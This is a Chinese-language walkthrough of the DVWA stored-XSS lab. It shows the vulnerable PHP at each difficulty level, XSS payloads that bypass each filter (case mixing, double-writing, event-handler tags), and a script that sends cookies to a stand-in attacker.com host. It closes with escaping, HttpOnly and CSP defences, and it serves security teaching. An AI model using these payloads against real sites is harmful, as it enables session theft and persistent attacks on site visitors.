DVWA XSS Stored 存储型XSS通关教程

漏洞简介

存储型 XSS 是 XSS 里危害最大的。注入的恶意代码会被存到服务器数据库里,谁访问这个页面谁中招,不需要像反射型那样诱导用户点击链接。

这关主要学怎么利用存储型 XSS 做持久化攻击。

Low 级别

看代码:

1
2
3
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

消息和姓名都没过滤,直接存数据库。

攻击方法

在消息框注入:

1
<script>alert('Stored XSS')</script>

提交之后,每次打开这个页面都会弹窗,攻击持久化了。

偷 Cookie:

1
2
3
4
<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

别人一访问,Cookie 就发到攻击者服务器了。

姓名框也能注,但有长度限制,可以改 HTML 或者用短的 payload:

1
<img src=x onerror=alert(1)>

Medium 级别

Medium 对消息做了过滤:

1
2
3
4
5
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

$name = str_replace( '<script>', '', $name );

消息字段转义了,但姓名字段只过滤了 <script>,又是个漏洞。

攻击方法

姓名框用大小写混淆:

1
<Script>alert(1)</Script>

或者用其他标签:

1
<img src=x onerror=alert(1)>

双写绕过也行:

1
<scr<script>ipt>alert(1)</scr</script>ipt>

消息字段攻不破,就攻姓名字段,总有一个地方有漏洞。

High 级别

High 对姓名用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

各种姿势的 <script> 都能匹配到,但 XSS 不止这一种。

攻击方法

img 标签:

1
<img src=x onerror=alert(1)>

svg 标签:

1
<svg onload=alert(1)>

body 标签:

1
<body onload=alert(1)>

input 标签:

1
<input onfocus=alert(1) autofocus>

过滤 <script> 过滤了个寂寞。

Impossible 级别

Impossible 对两个字段都转义了:

1
2
$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name );

htmlspecialchars() 把特殊字符转成 HTML 实体,注入的代码变成普通文本显示出来,不会执行。这才是正确做法。

存储型 XSS 危害

攻击方式 危害
偷 Cookie 拿登录凭证
键盘记录 记录用户输入
钓鱼 伪造登录表单
挂马 传播恶意软件
蠕虫 自动传播 XSS

存储型 XSS 打中一个人,所有访问的人都遭殃,危害比反射型大得多。

小结

存储型 XSS 防护要点:

  1. 所有输出都要用 htmlspecialchars() 转义
  2. 限制输入长度
  3. Cookie 设置 HttpOnly
  4. 配好 CSP
  5. 别想着黑名单过滤,转义就完事了